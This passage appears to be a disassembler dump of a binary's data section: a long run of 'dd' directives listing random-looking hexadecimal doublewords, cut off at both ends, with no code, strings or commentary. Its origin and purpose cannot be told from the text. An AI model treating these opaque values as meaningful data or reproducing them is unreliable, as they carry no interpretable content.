0B42D6785h dd 7A77C7Ah, 52183682h, 46458B9h, 73CE86FAh, 430DDB57h dd 870B6047h, 13042BA4h, 0A70AFFA0h, 9AE0E8Eh, 3408A498h dd 829C1D6Eh, 2045DE9Bh, 4E76A0B6h, 0FA9876B8h, 3BA79EADh dd 12FF9EBBh, 0ED0948B6h, 5C8E2283h, 0FB1B0AF4h, 0E6535C89h dd 1BCCCFBAh, 29AB293Ch, 6B9A2473h, 0B083CD4Dh, 303C0B1Fh dd 47838F3Ch, 8D543FB5h, 2F28F487h, 27DB962Bh, 0D32ECFDCh dd 7FB9C583h, 2D7F896Fh, 8A91C787h, 215ABB71h, 6EA7670Ch dd 0A73CDEEEh, 0BCD916Ch, 409F19EFh, 31F27CA4h, 0C8FA5999h dd 4385F36h, 0A9400AEDh, 791CA73Dh, 51E66491h, 0F2D7A2FAh dd 0A8A2DC12h, 154E6FE9h, 62DFF533h, 3B96855Bh, 56F49A25h dd 2080DFE4h, 1BDD102Ah, 42C52DACh, 0E5AF3817h, 3BB2C027h dd 0D892AC8Ah, 0CDE98A42h, 0B01CC8C1h, 21182ECh, 7743422Ah dd 6739900Bh, 0ED1B31AAh, 0D2D4BBD8h, 79607889h, 0E5BBBEAEh dd 70472BF3h, 1815FA00h, 762341E1h, 713F0F5Dh, 0E8A18420h dd 0F600FC09h, 50D429DCh, 573009C5h, 72EA864Ch, 0F2812501h dd 6C830E84h, 4234EB14h, 0F8C3442Ch, 2684A86Ah, 38FE7E2Bh dd 6813FC82h, 179F6058h, 0BCFF42EDh, 0FE7DBF66h, 0C9D6D70Bh dd 0B5943B76h, 51588362h, 0F4FAD750h, 802BFD38h, 0A174599Bh dd 0E6868D14h, 0B7B2A7CDh, 60D084Dh, 22C06BACh, 35900644h dd 0B95F0A40h, 0DF1D57E6h, 0F5707D27h, 563DE39h, 0FAAA6AA6h dd 48600F8Ah, 0A39FB0AFh, 1BE18A9Fh, 9198A460h, 5B3B857Eh dd 1E1C601h, 7934DA40h, 3730F9D2h, 663BCC78h, 7AD2980Bh dd 17AB48A5h, 0F06936AAh, 0A45CAB7Ah, 0E99F729Fh, 35D610A8h dd 501A3F03h, 2130F329h, 0C6E5B75Eh, 5470D758h, 0F483B5E4h dd 6D249A04h, 4C60787Ah, 0C13A0895h, 60C8820Ch, 8D4BAC1Ah dd 4603E063h, 3BBFEC83h, 402327A7h, 0A10B9BEDh, 0A541A547h dd 0CF963132h, 1410BB46h, 40D92420h, 0BD9FCFEFh, 7B9E4B85h dd 7D70913Fh, 0A866B584h, 5C7E71A8h, 13A26BD8h, 3DA5ED02h dd 521F4B3Eh, 0C6731B61h, 10408F3h, 0E77A3A1Dh, 75F860EFh dd 78EF4BE2h, 0CC6514BEh, 45D82E28h, 0E2FD7052h, 5933542Ch dd 8144F564h, 3F7C9CA0h, 0BF6D0B3h, 3A1F7988h, 462E829Ah dd 0DFAB1E2Dh, 0EEFFB6E2h, 0D48647EDh, 0DD33F7A8h, 27E38C26h dd 0CBC2FDB6h, 0E1E71E43h, 0D28B62CAh, 3C411283h, 14ED71FEh dd 94A80968h, 0F5A882A4h, 0EA16022h, 0D137EB40h, 9D3CEC29h dd 0CCD1332Eh, 5426B758h, 73F51E53h, 905713F2h, 0F4D0E4D5h dd 1FD0211Fh, 0A17FB43Bh, 1ED9E172h, 0A812BA70h, 52C1B69Bh dd 0A463131Fh, 59E3D46Ch, 778A654Eh, 472AC63Eh, 0A02225DFh dd 20FB818Dh, 96465F7h, 0CBD62682h, 4294A460h, 0AB54ED4Dh dd 0A0237294h, 0A4187F6Dh, 6AA46CEFh, 54FD2B84h, 8A262927h dd 5CE0FE41h, 99A6C04Ch, 52AD3F06h, 3AA426BFh, 906F0FE3h dd 8B4327C7h, 0BE9BBAF9h, 3AF09FFBh, 4D1D9ECBh, 4B52C81Fh dd 16182765h, 3EFCBDB8h, 23DEC263h, 99F36A4Ch, 0E6377348h dd 5923942h, 15D6B20Ah, 3EC8C14Eh, 93F1AD54h, 2BF3C806h dd 0F0B077B6h, 0C5563D1Ah, 220650B9h, 69F38EC7h, 44614F61h dd 4A682E65h, 737A5BD3h, 53541599h, 0A805B9A1h, 14F5148Eh dd 6BFB3054h, 39901A36h, 0CAC0CE4Fh, 88E58022h, 0A8394CDCh dd 6B2DCFDDh, 43852F8Ah, 2ADB78FDh, 10A88D1Eh, 0AE19C40Bh dd 5A9A085Bh, 63B1DB12h, 0DC566BBCh, 7FC5F802h, 0C41849C1h dd 0FE224C23h, 74E4826h, 0CDB7235h, 577FA984h, 9130B0FDh dd 0A59C6BF4h, 9714C04Ch, 38EE48E6h, 7253F706h, 38EEB620h dd 55D270CBh, 0CFE9EC07h, 71040949h, 0F2AF4C71h, 0A20DFF95h dd 0D05D22ADh, 8EC25ECAh, 0F867840h, 0C3C0E053h, 0BC0F053Eh dd 0A2F65B5Eh, 10540DFFh, 6620B681h, 8A0DF74h, 0F666164h dd 99A56552h, 0F1109759h, 0DA53EC20h, 861F51DCh, 0C7260ABBh dd 0AA13DC36h, 74D1E060h, 0E269FA32h, 953A1A97h, 0CD3EC0A1h dd 5F76D1D0h, 0D07DFAADh, 0E020D93Ch, 7B72CBCCh, 9D353AEBh dd 6F985753h, 0D44FEB9Ah, 7D1107EFh, 55AFF5E6h, 0C5AEE221h dd 0F57883F9h, 0DFCD658Dh, 2D663050h, 0CFDE397h, 655236B4h dd 0A9BFDBh, 965FBD64h, 5A7671BAh, 0E5B0F5FAh, 6FDA5ECDh dd 0E98AC45Ah, 0A835EFC7h, 0FE8312A3h, 65E1FFC5h, 0D8E54BF8h dd 592A4C68h, 0AD177E79h, 0D7DF338Eh, 9CEA2469h, 0BB218B20h dd 0E579B36Fh, 0B098DDF2h, 59F58C9Eh, 3197537Fh, 27AD2DE9h dd 438EB82Ah, 67E409F3h, 42CE5E80h, 0CB561C5Fh, 90AFF27Ch dd 8BCD43C5h, 0E00AE78Bh, 0EC249970h, 0F0266B88h, 0E8E38FE6h dd 0E9D85357h, 57B9557h, 75A18400h, 553218DBh, 0FDE23A40h dd 0B478F344h, 7DCF1EC7h, 0AB536FEh, 976DB275h, 0CD93D802h dd 0C2AC8BC6h, 86A87CFh, 7648E8CEh, 0CD633397h, 0C0800B58h dd 9743C4A6h, 2B1375B6h, 5E6172BDh, 0BEFA2593h, 0B3CC1F79h dd 0DE7DFFC9h, 3082AC56h, 0BD63BE11h, 3C961E61h, 9787882Dh dd 2C46780Dh, 174855BBh, 0B40528B2h, 1BBB37ADh, 2EB5F468h dd 0DDA9A580h, 19F76750h, 1D894358h, 9AB16710h, 0D5B41100h dd 5EA7D8EAh, 259E6884h, 0DE5C7F93h, 0F4F561ABh, 0DCA48B96h dd 3559C9D2h, 0E4B07949h, 0FA0E3AA6h, 0EC9C75E8h, 9018EC36h dd 0A8067B55h, 6643192Eh, 471AC58Fh, 76BC2910h, 136EBA08h dd 9F63D27Ch, 9A769BCh, 26BE8757h, 0C5D8C5AAh, 0A72BCC70h dd 0BE56AF32h, 0B62BAE0Eh, 0DB4DBE04h, 2B4762E8h, 7C56544Ah dd 0F3F0BC89h, 4761B19h, 2177C169h, 75D4A5A0h, 0E31A7090h dd 2A64D1E9h, 20FF85C1h, 0B00E0758h, 63B1D1EBh, 0AD253E8h dd 2385755h, 103B78C4h, 85ACF491h, 0C9A16EEFh, 0CE0B8549h dd 8CC3027Eh, 77350ED5h, 10C8F57Dh, 0C3A14205h, 8AEF3AA1h dd 22AA380Dh, 0D3DBE301h, 5B85E2F2h, 5A1D9CB6h, 5B74AB2Ch dd 8AFA90B3h, 87304F50h, 923974DEh, 0C1E0A927h, 952B2A5Eh dd 6E0A15C8h, 0CF85ABB7h, 0DBFA5174h, 4CA6EF05h, 5E1693E7h dd 0FE73D08Ch, 498E4BE5h dd 3ACFEF1Fh, 534A3A06h, 0E929A077h, 1E96F69Ch, 55D4C83Dh dd 0E62EC9F2h, 9CEBB87Ch, 2E9922B9h, 3105E385h, 0E5D43FE6h dd 6387A3Eh, 0FD4F3906h, 595AD512h, 32CC9553h, 40F3B726h dd 5F270F33h, 351B72FEh, 54F77192h, 2EE53EEh, 3BC32852h dd 0F95D9E14h, 0A22A53ACh, 9D831B9Dh, 10676783h, 40160234h dd 65853049h, 4DE82AB9h, 54E6ECE8h, 0D205876Ch, 0FAD1DCCDh dd 0EB3F331Ah, 0A837F5FAh, 0B8853022h, 6602FBF0h, 6635AFADh dd 4B757633h, 0F4E529ECh, 97B58BBDh, 0F396378Bh, 982E186Ch dd 0B90FFFDDh, 0B551FB7Fh, 11683936h, 5B06FABDh, 430E90E8h dd 0EF15B1D6h, 51B265B2h, 0C7D80B44h, 43A33837h, 0AC6A60B1h dd 40C944FEh, 0FA1F6E53h, 7F425D50h, 269C126Eh, 2C109AAEh dd 757AA35Eh, 98E11211h, 83F4ED34h, 0E3BB9B06h, 1F6921B5h dd 0F78B898Eh, 0A5006545h, 556F12C8h, 8DADC9F5h, 724EC7F7h dd 66C546A1h, 7FE5DEDAh, 0C0388C69h, 0A43FEF35h, 0A8C6DD79h dd 0A3D23B03h, 0E661B3F9h, 0A1A238B7h, 67B9EDBDh, 1AA92E2Ah dd 0C46E0116h, 8C0793B9h, 1D7A14ADh, 78DE157Dh, 0EDE52E74h dd 0AA92E837h, 0F4C05474h, 3BFFD9DAh, 91B36448h, 0C9C64830h dd 0C0256066h, 1BBF6653h, 2C43A3ECh, 4A737DC7h, 4DA59374h dd 0C069F33Dh, 0F9F9FE19h, 17919624h, 86C91CEBh, 69EBC837h dd 0DF7413F9h, 50F24217h, 2EAFB485h, 6F41EF11h, 960F4BFBh dd 1030645Ch, 0A848988Eh, 0A3874F1Bh, 0F23F8C89h, 411CEBBh dd 0CFDBD79Bh, 570D1B54h, 813172FBh, 8D80224Bh, 0C0CCF68Fh dd 0D3C17486h, 3B3E9633h, 39FB67Ah, 1897DB0Ch, 0F5CD1D0Ah dd 0F51A50D1h, 40D33375h, 76236C85h, 528AC975h, 73B39C5Fh dd 0D57B6D0Fh, 5C2C5221h, 0AB731C3Ch, 7FC9B97Bh, 0EFEF267Dh dd 4C1EF5CBh, 26BB6A50h, 60E8727Dh, 3FE65144h, 0F1F5C889h dd 0E0CE4BA0h, 57806E9Ch, 0CFFD64E6h, 0BA2F96CEh, 0E8BDBB0Fh dd 0A1DBEF38h, 0C280F37Fh, 0F9A81260h, 5D65C59Dh, 7A8CA637h dd 85B2CDC8h, 814F3F4Dh, 6412F11Dh, 553C4F14h, 7CE8886Bh dd 0B7C2BB99h, 66EA57A6h, 0D6FFF0B6h, 9DCF0DA8h, 0B27B2998h dd 349D755Eh, 1E43A764h, 82963BF8h, 52FF0FC0h, 7160A3C3h dd 9ABDB41Ch, 0A03E2E1Dh, 0C0389416h, 4DB69C47h, 7D4F1396h dd 3A01F4D6h, 0C887E0ACh, 52FB646Dh, 41BCA982h, 0AEEFA96Eh dd 361F7F88h, 0D3AD3BDDh, 1867D458h, 9D0682DEh, 822BD8E1h dd 6F90A0EEh, 209902B6h, 0C599054Bh, 8BDE406Ah, 6781609Eh dd 0BFF64831h, 0D2B61677h, 33721781h, 860AA384h, 4685A56Dh dd 0CC9C3AA7h, 0A693C929h, 918C5642h, 33CCD35Ch, 0DA5FC848h dd 8D603A58h, 0FFBDB3C5h, 0E93823D0h, 303CEB20h, 55C6E87Eh dd 683D8282h, 1A4069EFh, 0AC8602F8h, 176C66B2h, 2CB405BDh dd 0F25DE3D9h, 59085477h, 0E052E3F2h, 0DF1AD401h, 9C3B82F8h dd 0AD7F6A13h, 3AF34449h, 0B7D12FE7h, 28087DFEh, 606667BBh dd 0CD942B3Fh, 0DD0638EEh, 0E4F5A0D6h, 6ACFD769h, 2A5E6FBh dd 0A6EE9A38h, 3641AD53h, 0BAA24798h, 0CC6E526Ch, 0B6C9AA50h dd 0F5FB2103h, 0CCBB24EAh, 4C551664h, 4654BFDEh, 29E720DAh dd 0C2579CC9h, 9F13A5FDh, 594CDA04h, 2C2BEE89h, 5BE889C8h dd 0B2061A4Fh, 491F7B41h, 0D22DBF4Bh, 2E55A758h, 99B3527h dd 0CCC4F304h, 1F05956Ch, 2E02F00Bh, 0A281C820h, 0BF1ECC9Eh dd 50FCC839h, 0F9814001h, 89AA2340h, 8A887460h, 54B544DCh dd 2F58E5Fh, 53EE4915h, 0C08EA0DAh, 0C91CA522h, 701A6356h dd 0B29E08D9h, 568BD42Ah, 347821D9h, 0CDF9C119h, 5DD84D63h dd 48A4BC26h, 3C428122h, 0B150ED48h, 1D258D01h, 71BD145Ch dd 54B08B99h, 22395217h, 0A9BE3647h, 8C4B0919h, 2422FD9Ch dd 45EABAA3h, 0ECD433FAh, 5B94A2D6h, 0D7906DE3h, 894FF434h dd 0BEE2AFFAh, 1D1A3820h, 1F53E678h, 1C471771h, 2ED53388h dd 0BE1474B4h, 5283F956h, 0D2C461B1h, 0BBFF47D1h, 0B463516h dd 568AD237h, 8D484EBFh, 14F6337h, 95F894BEh, 0EF85A727h dd 72DA2393h, 8A3659F7h, 1A98ED07h, 28801EE7h, 0FA693BE5h dd 5031A6FAh, 6024DA56h, 0D7B7E70Eh, 21569B6Ch, 653654FEh dd 1D7CC5ECh, 81C40A3Fh, 3B6D29FBh, 6631854Fh, 0C5947F79h dd 9F6C185Dh, 80A03F8Fh, 624E5FA6h, 2961CBB9h, 0CF2C563Dh dd 0B8DE973h, 0D7F4BBE3h, 0F1EE7EB2h, 6B63EFA5h, 0F6736714h dd 26A8D6F7h, 4C2D4DCEh, 0BA6D702Eh, 76324A65h, 26691C70h dd 0C1027A64h, 9730A008h, 0E0A238C8h, 0AD29DF95h, 8B636011h dd 5F110796h, 4F4C0C1Bh, 8C523956h, 8300033Ch, 2FAF3A95h dd 4650ED84h, 96258D90h, 0C0193D9Ch, 0A28235E3h, 81204A91h dd 88F9B66Eh, 0EF85BC72h, 8E05E4B4h, 0AAD06812h, 656F64D0h dd 709EEF4h, 7FC941BEh, 0BC87651Eh, 0D2CBB7EDh, 0D6C5775Bh dd 0FB97DA65h, 6FA0E95Fh, 9233C219h, 297DF0BDh, 0D0EE5D3Bh dd 1640C980h, 0BCB455C4h, 5C37640Ah, 4630E92Ah, 0F4590202h dd 0F12E71EDh, 0F6929201h, 0D1CDECB5h, 79B2FD00h, 0AD72652Bh dd 0A3D30BA3h, 548A565h, 0C5FAFFEEh, 0E47C32C2h, 0FE6990A5h dd 0ECBB1139h, 49DE36C4h, 50E35931h, 0D912DF99h, 0F636E70Fh dd 997E2EDFh, 0E5AF5FE8h, 8F344B4Dh, 154C0EA0h, 2955FF92h dd 1CAE9637h, 399C96B7h, 0A79B0615h, 8D4531F5h, 57BFAD7Ah dd 2E338201h, 4554300Ch, 989345B3h, 2DDB9E7Ch, 0C1BBF5B2h dd 0BA20CE28h, 7FD7102Bh, 9E17B536h, 0A88B677Ah, 5C4E4BE9h dd 2494DA4h, 16402465h, 9ED1C5EEh, 1BC839B0h, 49E01B69h dd 2AEF70E7h, 901988Ah, 0B59D7BD1h, 6E844678h, 6C7EB0FCh dd 0E6F83BAFh, 54FA6851h, 0AD06A48Bh, 0F7A1AB9Ah, 272765A9h dd 5D2410CAh, 2E41857Dh, 1F4A4D78h, 536CAAAEh, 0D52804Eh dd 0C135FCF7h, 0A3CE156h, 0C18885D1h, 0A83596BEh, 8959C7A9h dd 49972F46h, 0B64FAE0Ah, 4ECEE21Ch, 0AB7EADB1h, 396F1E66h dd 6E67A75h, 0DC1B901Bh, 0B9E5F176h, 0D3BFDD15h, 0D95C57FAh dd 431824E9h, 5C84524Bh, 0EA369358h, 19FCAE62h, 7FCDE751h dd 0C97761D8h, 9B75E892h, 51AE750Dh, 472FFFAAh, 37E7A087h dd 61E633C7h, 9856C6D2h, 0BFEC3B1Fh, 5812A9E1h, 0EB4ABC83h dd 33C5EDC3h, 5BE3EDA6h, 0EA1109FFh, 6FDBF39Eh, 6FFB635Dh dd 0C8083A6Bh, 0F535E87h, 24920B27h, 51B59DE7h, 77AE6F6Dh dd 98B37B89h, 4BBDB200h, 0F585FA50h, 1E65EC73h, 0C533926Ch dd 3B789AE1h, 0B4D907A5h, 1DEDFDB6h, 73155FE2h, 0F7603F5Fh dd 4903A548h, 2F12BB32h, 83763C9Fh, 36D423B1h, 500EDAB0h dd 2154058Bh, 85927897h, 66D51157h, 4E51E2BDh, 0F1DC76BEh dd 0C178A416h, 82345BE7h, 8C478EA0h, 0DFC360DAh, 0A09C1984h dd 41A25858h, 0EC345F4Dh, 6A57404Fh, 4506243Dh, 0E12272FEh dd 708FFB63h, 0D4DB671Bh, 734CE206h, 5FE1EA86h, 0B8C15B5Bh dd 0C92CABC2h, 0B2C72E76h, 0EA7569B0h, 0FE132AF0h, 0D487DE57h dd 20CD5228h, 0E16202BBh, 5676A3E6h, 7E712930h, 0AB00B5A9h dd 393D67B1h, 0A842EC33h, 0D6B1431Fh, 4F0122CCh, 79579E98h dd 36573774h, 0FDC9DA1Fh, 0D2ABE354h, 866858E4h, 0DC73BD70h dd 0E9106922h, 0CF53C0DBh, 2B0541ADh, 0B4D98E49h, 1644BC56h dd 0EDAF3015h, 12001379h, 0CEF4AFDCh, 0CF5F7EAFh, 93C08849h dd 0FBF54193h, 5131F6DBh, 18F0BD4Fh, 3B74E621h, 0F82B2594h dd 55222094h, 0EE35CA45h dd 78E7791Ch, 7F4C2316h, 0E9F6D093h, 45F60241h, 3AEAF6FCh dd 0BAEF62CEh, 0C2B520FBh, 7E8EC11Dh, 0F97F15CBh, 0D146F1F1h dd 0AC93FDAEh, 21EC47CBh, 0BD27C4F4h, 0ECE9C54Ch, 0CD2BAB0Ch dd 5A9E3B3Ah, 7EC23EB9h, 5395EC6Dh, 7FFC61ECh, 3293B3EDh dd 4FC36E0Ch, 5CFDBCh, 0FC45A59Ch, 0DE0CB224h, 0CD8161F9h dd 41077C1Ch, 66ACDBF4h, 0E33F0708h, 842EF7F6h, 5B9B36CBh dd 0EB15CAD2h, 0EAD14140h, 2F3BA75Dh, 0BC511C0Dh, 0F8C278DAh dd 0B1338450h, 0FD38DF17h, 0C649B16Bh, 0B7AA2E09h, 21F779D3h dd 0E46410BDh, 4E3B834Ch, 9DC1C993h, 0BF61950Ch, 0AF0E1464h dd 88C272h, 5546816Eh, 6DE01DB7h, 0BE34A04Eh, 2ABE57E0h dd 0F782B547h, 18141ECCh, 5D022F00h, 6D00A0A4h, 1A331EF5h dd 404D5A1Ch, 0FAE4589Bh, 0DFDD4F0Ch, 1B65FE97h, 0CAD9AE1Fh dd 603AB227h, 0EC2E480Fh, 0FEF02994h, 0D9F223C1h, 0B0FC05BBh dd 0C62F6FFEh, 0AD41C709h, 0C9343DF5h, 0F96802C1h, 1DAA654Ah dd 0F6880B78h, 8C4835DAh, 0FA50318Ah, 4C8336C8h, 0DF01A9C3h dd 4E109DAEh, 0FCB8B968h, 0D8986EA6h, 0E4185E7Ch, 0B4FD13D7h dd 0CC7C4BE3h, 0B3CD0BA5h, 8A35D88Bh, 0F767FC00h, 7318F6ECh dd 110F02BDh, 835689F6h, 89E0C87Bh, 2E3AFC79h, 9EEEF56Eh dd 800505A8h, 0E7D8E40Ch, 0FABFCDB7h, 55AD0F28h, 0D38506C8h dd 66771021h, 0C6B08695h, 1A72057Fh, 2B40BA72h, 2C23DF7Fh dd 98DECD2Ch, 0D3028B48h, 0EED500B9h, 4266F104h, 7208FA44h dd 0AA12AA1Bh, 8C255EB9h, 0E2A470EFh, 361E39Eh, 14543749h dd 0B3BA6E7Dh, 3B69FEC2h, 0F9CBDD26h, 0DD5EF94Dh, 0CDEB93A3h dd 0FE8A2A0Fh, 299DF4F6h, 0F79B61AEh, 0BDDF760Ah, 0D2D20E35h dd 76D37EAFh, 0DE9B6BADh, 284170A1h, 0FCB5278Ch, 0D85D0091h dd 0B2AA234h, 92B1AC4Ah, 0A578B11Ah, 99869430h, 0E5BDF53Ah dd 0F69425BAh, 0EB61B17Dh, 0C3D0FAC7h, 0E13EFFF1h, 0D690D962h dd 3EA91F9h, 0D2A8EE78h, 0B1A2C92Ch, 48397644h, 0B7A16F1Fh dd 846AC10Ch, 0C5ABC1EBh, 0F1E950B7h, 1A7E5E9Ah, 6B689D19h dd 0C3B111AFh, 0E8F72568h, 838EB424h, 0F9EE4614h, 1D1071FAh dd 90C092D6h, 7F47AEB6h, 634C9B9Ah, 56F41D85h, 4DD664EBh dd 65226A91h, 4B6A1625h, 40BC83D6h, 0E0509B35h, 0F3903F41h dd 0FA8CA027h, 8B020A1Eh, 0AD46C329h, 1D879E56h, 2FBA65C7h dd 0E7694114h, 26BAF9D1h, 0CA26433Ah, 0F724C4CDh, 377B781Dh dd 45719CBEh, 1269A2BFh, 0E103728Ah, 0F98767F5h, 839F631Ch dd 0F01F349Fh, 72D5639Dh, 0FB969D9Ch, 0CB96AB3Fh, 6383C095h dd 30649851h, 0DABB7915h, 0CD4E4EE4h, 0CA75A4AAh, 0ACB6557Fh dd 0ED2C18FFh, 0CBD324FEh, 7E11838Eh, 0E3749E74h, 22815D45h dd 2B2D47F1h, 0E24A5737h, 0D4A6D1BBh, 0DB8266FCh, 5F65EE0h dd 449DB149h, 66334DA7h, 63062ACFh, 9D96DF73h, 2D4DA478h dd 0E8FC3E71h, 0B727BB53h, 0E6622781h, 62EF0A8Bh, 0DD194D44h dd 0A98C83AAh, 20B66060h, 4E0C2401h, 790E4F7Ch, 64508FC6h dd 51B18063h, 0C5E78068h, 38B5BF67h, 1D34C09Fh, 0B41C349Eh dd 0E78329A3h, 29366532h, 81B25FCFh, 0FEA546BAh, 0AF69DD94h dd 1A1BD9Eh, 920E9DDEh, 9F5086D4h, 0B41536D7h, 24500B5Dh dd 5B5EAD0Eh, 1A14FF68h, 26F9DB25h, 0C6A9FCA5h, 0DEA9D90Dh dd 0B38E3741h, 2D128541h, 88E84756h, 0CA3B39DBh, 0B97ED292h dd 0C516B86h, 209EC3DCh, 0D92CEEBBh, 123110AEh, 0F5F37414h dd 75F84671h, 4833535Eh, 7B60CDFFh, 0FD1148EFh, 80DE022Bh dd 5F434696h, 0D7CB690h, 7A616257h, 31833C17h, 16C97A0Fh dd 4231C7B5h, 0EDD4CD87h, 0C6FF6597h, 0C7870432h, 55B696F4h dd 3B15E69Dh, 2C98EAB2h, 4397283Eh, 0C18E585Ch, 2EFE1ED8h dd 0DAEFF97Ch, 58C6B1EBh, 0F2AB59DDh, 3E2F289Ch, 0DA2C9096h dd 30EAD98Ah, 0EE3B6952h, 0A616FC6Eh, 0DCF930EEh, 0AA24AF7Ah dd 34531C8Dh, 54F357CFh, 62ED5A33h, 29715A74h, 48B3F9C9h dd 7FCAA25Ah, 39C7A67Ch, 0C19AAE0Eh, 0E8BAFF72h, 2763BAECh dd 83B93E13h, 18346F0h, 0B4C0CCA7h, 0C4A4C1DDh, 418EB7D4h dd 0FAC89D3Fh, 0A3EA6C8Ah, 45E28515h, 0B2BC9384h, 6D68B7EEh dd 0B50F290Fh, 0C45BE044h, 0DA07D0B0h, 7138C616h, 0BBA7979Dh dd 76BE786Eh, 0C77DEA3Fh, 649C2D02h, 15E6E800h, 852F10h dd 0BD9CA807h, 0AC002B7h, 0EE202245h, 4C128BC6h, 7905EF8Fh dd 0AD63CE6h, 6319D78Bh, 0AB1D73EDh, 96AC9D51h, 0F36B0DC0h dd 0B2A512BAh, 1F572E7Ah, 5398A319h, 3E462650h, 3F4A22B4h dd 27BD551Eh, 7C463668h, 0F1505035h, 9E36A50Ch, 8A5BC9AEh dd 882CD02Ch, 6207DE92h, 104AB135h, 0DC792EBEh, 0F9227247h dd 9452DE4Ah, 27448243h, 0C6A65740h, 0E0B1E6F7h, 58F70D1Fh dd 9552932Dh, 0F0F3DFDEh, 5D498301h, 880B4E12h, 0DF35E156h dd 0DB65B5D9h, 30E2AE6Dh, 9705F9ECh, 0F171A3E1h, 0C37D04BDh dd 2826B7BAh, 0C7CA8A7Eh, 42098B09h, 0ABC8DC71h, 0E88DE596h dd 50F676E5h, 34D59ABBh, 5848AC9Dh, 0DB92F8D0h, 947AF039h dd 886E7758h, 8EBE7E0h, 2B3D6BFAh, 0FA9F25E9h, 0D5288B7h dd 30112D0Ah, 1781EA24h, 76F8CB85h, 313F2FD7h, 0F3440A66h dd 0ADFEA6A4h, 1644EE33h, 0BE22C9CAh, 7512BCF8h, 180AFCF6h dd 4DF914h, 0C851DAE0h, 0C2B32FFh, 835D6AAh, 7DB50A42h dd 0C782CA92h, 0B34883A3h, 0F235B88Fh, 9FA2ACD3h, 0B2A4EA7Ah dd 0AE0EEC3Ch, 2637E100h, 308F981Eh, 0DEB14AE0h, 797743BFh dd 0AB52E6A6h, 8195A585h, 1142DFFh, 3BC208E7h, 36367EA6h dd 0CF979DF3h, 977F017Eh, 4A7DB457h, 0B2F1A165h, 0CBB7A796h dd 0CD6EABDFh, 2E3A70FFh, 91FE2EF1h, 8A9B8A61h, 205D1B3Ch dd 3F0FA3C7h, 4541D02Fh, 63EBCB8Ch, 90A2DBA9h, 1552A0C9h dd 0B6C8B4BCh, 7C89952Ah, 5D6C26AAh, 6A91DEE6h, 0FFDD0582h dd 5FB38B8Eh, 0E278424Fh, 0DDAFBAE8h, 28F4CDD1h, 0E4F2C864h dd 0C1A9AA67h, 0C9C77A37h, 860BD376h, 0AC8F1AC0h, 0CCE37132h dd 6412DA4Ch, 0CE07FAC1h, 0FAA69DBh, 0A6DCF24Ch, 0EEFF471Bh dd 55960807h, 5BEC48CBh, 0F2075084h, 0C4587F11h, 0FBCDC7C3h dd 24240768h, 4CB7D6DBh, 0B9DD5BF7h, 68BD8614h, 0DEF3830Ah dd 0DAF8BB3Bh, 1DF8F4B0h, 578DC85Fh, 44D1F730h, 852D2643h dd 79E12CD8h, 0F0493D30h, 895E608h, 374802A1h, 0BFD0CCAAh dd 7E3C087Eh, 2278907Ch, 449F664Bh, 9251888Dh, 0FD14FDEDh dd 0B1C886Ah, 75CA1E17h, 841949BAh, 6C6295FFh, 0DC1D6E85h dd 0E70D17D3h, 3C3A1105h, 6F27A81h, 0B0088BCh, 615BE8A5h dd 0DAF89961h, 0CC28059Ch, 8F38A2D5h, 98FF7448h, 0A5A23DACh dd 3C5F2560h, 50D6B656h, 0FCAC4AF4h, 5F2A87FCh, 0FFAC02A7h dd 0EF7B70BDh, 0A149902Eh, 2B92BA5h, 360701AEh, 29D629F0h dd 0F97EC913h, 7EE788EBh, 0E302D84Ch, 0E95C5F46h, 955524D4h dd 3BE29762h, 68B2CA87h, 5AE9CC7h, 38318812h, 0FFDE523Dh dd 66679A5Bh, 2FC2A8EEh, 4385B137h, 83471AA3h, 5AAA0CA4h dd 0FA34F7BCh, 771BB064h, 2E62A99Fh, 95015926h, 396159CBh dd 0F448A81Bh, 0E6E68BC1h, 0F617A0E1h, 17FF9CA9h, 0C1FA3946h dd 0F8F95809h, 639539D3h, 0BCF183B7h, 4051544Fh, 8662631Fh dd 0E04B7377h, 51A9353Eh, 0FBFBC0D1h, 0BC3ED555h, 7008BCABh dd 0A133D5C9h, 48185641h, 930AEC8Ch, 0F10ACD74h, 0B165CFA9h dd 0ABCD8D65h, 159AF844h dd 8CCA9CACh, 357C67DEh, 7221C574h, 14564934h, 0C068BCE7h dd 0C24D9C9Ch, 1F3E37C8h, 0C549897Bh, 0C149127Dh, 803F4BFEh dd 611383BAh, 7BB1DC65h, 57EF326Eh, 787CBE5Bh, 0C156E1EFh dd 983713C8h, 0A7F06344h, 88EFED68h, 0B504EED9h, 807157DCh dd 0AEFE1B01h, 13D890FFh, 0BBDA9739h, 77E8E12Eh, 145251ECh dd 89361E67h, 0B1BF353h, 921EDB3Dh, 0CA3CDD49h, 2419A3Dh dd 0EE48F8FBh, 0C64544A1h, 0ED78418Fh, 0C4511600h, 0E913782h dd 94013191h, 0D9DF0E92h, 92E3132Bh, 4D0059F7h, 68DFC098h dd 9159C1D5h, 8FEF8B5Ch, 0DDA61B54h, 0CFD64D00h, 5316E933h dd 0D531B90h, 0BC1380D3h, 51CA260Dh, 8F8C28E9h, 1648124Ah dd 24E12177h, 713252FEh, 0BEA79507h, 7C663576h, 5F5FCE57h dd 6BDC7D80h, 0A7E19D9Dh, 1B894F60h, 81A8291Bh, 77D470FAh dd 9413782Fh, 3697FDEDh, 0D547313Fh, 1897E78Eh, 0C7B28C9Dh dd 0CED1A337h, 0B754B814h, 687FCEA7h, 3A5ECE92h, 8EB1728Dh dd 4F12E9F7h, 0DAEC5ECBh, 2DD91106h, 0E78659D7h, 98FD4E03h dd 0D8C6BEF3h, 20218A1Ch, 4B8CDD07h, 925B915h, 0A6600BE7h dd 0F6A61AC3h, 0FC3D319Fh, 0E6BE6C02h, 0C8A8CC4Ah, 0E63C4760h dd 0E488A74Dh, 0C97FDD02h, 8C4EA29Eh, 0D5C98FBDh, 669F85CEh dd 0DECF06EDh, 0EAB5E40Bh, 8178CD2Eh, 17942CB0h, 0C557574h dd 0B589169Dh, 9B30E752h, 69BE3283h, 9896A07Ah, 8768258Ah dd 3D4A3099h, 0F63EC938h, 392D4810h, 5D6D6017h, 57182EFFh dd 3BC4E17Ch, 58BD0535h, 90A8255h, 7D06FECCh, 27B87D98h dd 0DC3874EBh, 6B4B9F1Eh, 4BA0397Fh, 69184B36h, 1CA6E09Ah dd 4BE906BDh, 920E3F94h, 11F9EE1h, 52F0FC2h, 27B2B81Fh dd 4C8FFABBh, 2C7F3BECh, 5A7C795Eh, 0A82B108Bh, 0F6CFF155h dd 438F4224h, 5C01CC42h, 0BCB9E314h, 0AE819736h, 0B86AB0B8h dd 6E854C08h, 0D08A9C2Bh, 38674B3Eh, 0A4654F1Ah, 52E6AE81h dd 